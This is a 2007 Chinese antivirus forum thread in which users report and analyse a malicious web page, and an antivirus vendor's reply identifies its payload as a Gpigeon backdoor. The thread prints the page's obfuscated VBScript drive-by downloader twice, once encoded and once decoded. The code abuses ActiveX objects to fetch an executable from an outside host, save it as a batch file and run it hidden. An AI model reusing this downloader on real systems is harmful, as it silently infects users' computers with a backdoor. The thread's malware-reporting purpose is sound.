瑞星卡卡安全论坛技术交流区反病毒/反流氓软件论坛 貌似发现新病毒！行为诡异！软件不报！

1   1  /  1  页   跳转页

貌似发现新病毒！行为诡异！软件不报！

收藏
iceking
头像
初生襁褓狮
  • 帖子:51
  • 注册: 2003-10-18
  • 来自:
发表于： 2007-03-17 19:13 | 只看楼主 短消息 资料
字号： 小 中 大 1楼

貌似发现新病毒！行为诡异！软件不报！

没有打开运行！
来自某网站  http://binwei888.com
19.14.42 不报警！


http://binwei888.com/gequ.exe
以下是网站代码 jv加密没有时间揭开！有心人看看！

<HTML>
<HEAD>
<SCRIPT LANGUAGE="Javascript">
<!--
var Words ="%3Cscript%20language%3D%22VBScript%22%3E%0D%0A%20%0D%0A%20%20%0D%0A%20%20%20%20ppp%3D%22object%22%0D%0A%20%20%20%0D%0A%20%20%20%20Set%20data%20%3D%20document%2EcreateElement%28ppp%2C%22%22%29%0D%0A%20%20%20%20bbs%20%3D%22Microsoft%2EXMLHTTP%22%0D%0A%20%20%20%20data%2EsetAttribute%20%28%22classid%22%29%2C%20%28%22clsid%3ABD96C556%2D65A3%2D11D0%2D983A%2D00C04FC29E36%22%29%0D%0A%20%20%20%20%0D%0A%20%20%20%20%0D%0A%0D%0A%20%20%20%20Set%20x%20%3D%20data%2ECreateObject%28bbs%2C%22%22%29%0D%0A%20%20%20%20url%20%3D%20%22http%3A%2F%2Fbinwei888%2Ecom%2Fgequ%2Eexe%22%0D%0A%20%20%20%20%0D%0A%20%20%20%20rrr%3D%22Adodb%2EStream%22%0D%0A%20%20%20%20set%20mm%20%3D%20data%2Ecreateobject%28rrr%2C%22%22%29%0D%0A%20%20%20%20%0D%0A%20%20%20%20mm%2Etype%20%3D%201%20%0D%0A%20%20%20%20%0D%0A%20%20%20%20mm%2Eopen%20%0D%0A%20%20%20%20%0D%0A%20%20%20%20ysha%3D%22GET%22%0D%0A%20%20%20%20%0D%0A%20%20%20%20x%2EOpen%20ysha%2C%20url%2C%20False%0D%0A%20%20%20%20x%2ESend%0D%0A%20%20%20%0D%0A%20%20%20%20%0D%0A%20%20%20%0D%0A%20%20%20%20mm%2Ewrite%20x%2EresponseBody%0D%0A%20%20%20%20%20exe%3D%22h%2Ebat%22%0D%0A%20%20%20%20ht%20%3D%22Scripting%2EFileSystemObject%22%0D%0A%20%20%20%20Set%20T%20%3D%20Nothing%0D%0A%20%20%20%20set%20F%20%3D%20data%2Ecreateobject%28ht%2C%22%22%29%0D%0A%20%20%20%20set%20tmp%20%3D%20F%2EGetSpecialFolder%282%29%0D%0A%20%20%20%20%20%20%0D%0A%20%20%20%20exe%3D%20F%2EBuildPath%28tmp%2Cexe%29%0D%0A%20%20%20%20mm%2Esavetofile%20exe%2C2%0D%0A%20%20%20%20mm%2Eclose%0D%0A%20%20%20%20set%20Bb%20%3D%20data%2Ecreateobject%28%22Shell%2EApplication%22%2C%22%22%29%0D%0A%20%20%20%20Bb%2EShellExecute%20exe%2C%22%22%2C%22%22%2C%22open%22%2C0%0D%0A%20%20%20%0D%0A%20%20%20%20%3C%2Fscript%3E%0D%0A%20%20%20%0D%0A%0D%0A"
function SetNewWords()
{
var NewWords;
NewWords = unescape(Words);
document.write(NewWords);
}
SetNewWords();
// -->
</SCRIPT>
</HEAD>
<BODY>
</BODY>
</HTML>
最后编辑2007-03-20 18:07:52
分享到：
gototop
 
笨蛋12345
头像
初生襁褓狮
  • 帖子:34
  • 注册: 2007-03-14
  • 来自:
发表于： 2007-03-17 19:20 | 短消息 资料
字号： 小 中 大 2楼

啊哈
gototop
 
iceking
头像
初生襁褓狮
  • 帖子:51
  • 注册: 2003-10-18
  • 来自:
发表于： 2007-03-17 19:34 | 只看楼主 短消息 资料
字号： 小 中 大 3楼

有没有隔离系统的兄弟 挂软件运行看看！
gototop
 
sanjingshou
头像
强壮不惑狮
  • 帖子:1166
  • 注册: 2006-07-15
  • 来自:
发表于： 2007-03-17 21:08 | 短消息 资料
字号： 小 中 大 4楼

把代码复制到DW上运行试试（断网啊。。。）
gototop
 
iceking
头像
初生襁褓狮
  • 帖子:51
  • 注册: 2003-10-18
  • 来自:
发表于： 2007-03-19 11:01 | 只看楼主 短消息 资料
字号： 小 中 大 5楼

基本是自动下载安装 制订的一些文件然后运行吧！
关键是软件不报！
我已经提交了！估计能做出反应吧！
gototop
 
iceking
头像
初生襁褓狮
  • 帖子:51
  • 注册: 2003-10-18
  • 来自:
发表于： 2007-03-20 17:48 | 只看楼主 短消息 资料
字号： 小 中 大 6楼

尊敬的客户，您好！
    您的邮件已经收到，感谢您对瑞星的支持。

    我们已经详细分析过您的问题和文件，以下是您上传的文件的分析结果：
    1.文件名：gequ.exe
    病毒名：Backdoor.Gpigeon.2006.bic

    我们将在较新的19.15.10版本(瑞星2006的18.71.10版本)中处理解决，请您届时将您的瑞星软件升级到19.15.10(瑞星2006的18.71.10版本)版本并且打开监控中心全盘杀毒。如果我们在测试过程中发现问题的话，我们会推迟一到两版本后升级。

注意：如果您上报的文件损坏或者压缩包有密码保护，会导致我们无法正确分析，请您确认文件正常且压缩包中无密码后再提交。
如有问题，您可以通过电话或者邮件服务中心与我们联系，详细描述您的问题，并且提供此封邮件主题中的流水单号以及上报所用的电子邮件地址。
提    醒：为保证收到您的来信，请勿直接回复本邮件!!!
-------------------------------------------------------------
服务单位：瑞星·客户服务中心
工 程 师：YFB001
电话服务：（010）82678800
发送邮件：请用IE等浏览器访问网址 http://csc.rising.com.cn
-------------------------------------------------------------


瑞星工程师回复！
gototop
 
afkp4e7
头像
叱咤花甲狮
  • 帖子:2684
  • 注册: 2006-12-01
  • 来自:
发表于： 2007-03-20 17:51 | 短消息 资料
字号： 小 中 大 7楼

="<script language="VBScript">

 
    ppp="object"
 
    Set data = document.createElement(ppp,"")
    bbs ="Microsoft.XMLHTTP"
    data.setAttribute ("classid"), ("clsid:BD96C556-65A3-11D0-983A-00C04FC29E36")
   
   

    Set x = data.CreateObject(bbs,"")
    url = "http://binwei888.com/gequ.exe"
   
    rrr="Adodb.Stream"
    set mm = data.createobject(rrr,"")
   
    mm.type = 1
   
    mm.open
   
    ysha="GET"
   
    x.Open ysha, url, False
    x.Send
 
   
 
    mm.write x.responseBody
    exe="h.bat"
    ht ="Scripting.FileSystemObject"
    Set T = Nothing
    set F = data.createobject(ht,"")
    set tmp = F.GetSpecialFolder(2)
     
    exe= F.BuildPath(tmp,exe)
    mm.savetofile exe,2
    mm.close
    set Bb = data.createobject("Shell.Application","")
    Bb.ShellExecute exe,"","","open",0
 
    </script>
 

gototop
 
过客2007
头像
版主
  • 帖子:16652
  • 注册: 2006-10-18
  • 来自:¤懒神↗之家￡
年度优秀版主奖一帮一小组成员
发表于： 2007-03-20 18:14 | 短消息 资料
字号： 小 中 大 8楼

又是鸽子
gototop
 
瓶子里没有水
头像
锋芒艾服狮
  • 帖子:1763
  • 注册: 2007-01-27
  • 来自:地域的游魂
论坛8周年活动礼物10温馨圣诞十周年
发表于： 2007-03-20 18:17 | 短消息 资料
字号： 小 中 大 9楼

鸽子漫天飞 啊
gototop
 
<<上一主题|下一主题>>
1   1  /  1  页   跳转页
页面顶部
Powered by Discuz!NT